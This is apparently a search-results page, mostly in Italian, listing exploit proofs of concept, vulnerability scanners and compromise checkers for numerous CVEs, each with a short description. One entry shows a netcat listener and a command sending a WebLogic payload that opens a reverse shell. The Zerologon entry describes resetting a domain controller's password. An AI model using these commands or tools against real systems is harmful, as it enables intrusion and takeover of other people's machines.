1297027 matches found
Home-Demolisher
Home-Demolisher PoC per CVE-2021-31166 e CVE-2022-21907 Utilizzo: root@kitploit: usage: CVE-2021-31166.py -h -u URL -l LIST -o OUTPUT Description message options: -h, --help show this help message and exit -u URL, --url URL IIS Server url. For instance: 192.168.1.110 -l LIST, --list LIST IIS Serv...
keepass_dump
Keepass-Dumper Esta é a minha implementação de PoC para CVE-2023-32784 A minha versão é um port em Python do PoC do @vdohney com algumas alterações e funcionalidades adicionais. Alterações Uma mudança foi usar strings conhecidas que podem ser encontradas no arquivo de dump para saltar com mais...
react2shell-ultimate
React2Shell Ultimate Scanner v2.0 Scanner professionale per vulnerabilità RCE in Next.js RSC per CVE-2025-66478 🎯 Panoramica React2Shell Ultimate è uno scanner completo per vulnerabilità per CVE-2025-66478 — una vulnerabilità critica di Esecuzione Remota di Codice RCE che colpisce le applicazioni...
CVE-2026-11405
cve-id ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Configurazione di esempio: root@kitploit: git clone cd Project use python follo...
chrome-CVE-2023-4357
chrome-CVE-2023-4357...
CallStranger
CallStranger Questo script è stato creato da Yunus Çadırcı https://twitter.com/yunuscadirci per verificare la vulnerabilità CallStranger CVE-2020-12695. Un attaccante può utilizzare questa vulnerabilità per: Bypassare DLP per esfiltrare dati Utilizzare milioni di dispositivi UPnP esposti su...
Binary-Exploitation-and-Kernel-Escalation
Binary-Exploitation-e-Escalation-del-Kernel Accesso di livello root ottenuto identificando e sfruttando configurazioni errate e software obsoleto. Vulnerabilità di buffer overflow in una versione obsoleta di modssl CVE-2002-0082. L'escalation dei privilegi è stata successivamente ottenuta...
CVE-2018-2893
CVE-2018-2893 Può eseguire direttamente un reverse shell Utilizzo Ascolta root@kitploit: nc -lvvp reverseport Invia il payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Riferimenti bigsizeme pyn3rd Note Solo per test e apprendimento, non usare per altri scopi...
-vercel-prod.yml-application-is-vulnerable-to-CVE-2025-66478.
-vercel-prod.yml-application-is-vulnerable-to-CVE-2025-66478. caccia ai bug...
Cve-2023-28432-
Cve-2023-28432 Attraverso il processo di riproduzione con vulhub, è stato implementato un rilevamento batch di base. È piuttosto scadente, ma si può usare comunque. Collegamento vulhub: https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432 Istruzioni: crea un file tagerts.txt e...
EXPLOITER
EXPLOITER: Exploit Automatizado para CVE-2024-0044 EXPLOITER é uma ferramenta sofisticada projetada para exploração automatizada das vulnerabilidades CVE-2024-0044. Este script simplifica o processo de explorar aplicativos Android vulneráveis automatizando a implantação de payload e a instalação ...
ricerca-tesi
ricerca-tesi risorse di ricerca per cve-2026-7228 Strumenti Installazione virtual-box installazione di virtual-box: https://www.virtualbox.org/wiki/Downloads Installazione iso windows 11 https://www.microsoft.com/it-it/software-download/windows11 Installazione distro linux: lubuntu...
CVE-2020-1472
CVE-2020-1472 POC Richiede l'ultima versione di impacket da GitHub con le strutture netlogon aggiunte. Nota: di default questo cambia la password dell'account del controller di dominio. Sì, questo ti permette di fare DCSync, ma rompe anche la comunicazione con altri controller di dominio, quindi...
CVE-2021-21985-Checker
Checker CVE-2021-21985. Semplice implementazione in Powershell di @alt3kx nmap script. Utilizzo .\CVE-2021-21985.ps1 vcenter.hostname.com Output TARGET VULNERABILE o TARGET NON VULNERABILE...
cve-2020-7247-exploit
cve-2020-7247-exploit Exploit Python di cve-2020-7247 Leggi la vulnerabilità: https://blog.firosolutions.com/exploits/opensmtpd-remote-vulnerability/...
CVE-2020-3187-Scanlist
CVE-2020-3187-Scanlist - Cisco Sito di scansione batch. Disclaimer: Non sono responsabile dell'uso di questo strumento o di eventuali danni, NON UTILIZZARLO PER SCOPI ILLEGALI. Questo strumento è stato progettato per scansionare asset autorizzati per automatizzare il controllo di questa...
Log4J_checker
Log4Jchecker Log4J checker per Apache CVE-2021-44228 log4j-checker.sh è uno script bash che unisce diversi controlli...
ioc-scanner-CVE-2019-19781
Scanner di Indicatori di Compromissione per CVE-2019-19781 Questo repository contiene un'utilità per rilevare compromissioni degli apparati Citrix ADC correlate a CVE-2019-19781. L'utilità e le sue risorse codificano gli indicatori di compromissione raccolti durante le indagini di FireEye Mandian...
frevvomapexec
frevvomapexec frevvomapexec è uno script per verificare l'esistenza di una vulnerabilità Blind SQL injection iniettando un ritardo di tua scelta in secondi in Square 9 GlobalForms 6.2. Per verificare che la vulnerabilità sia legittima, all'utente finale sarà richiesto di fare un calcolo ad es...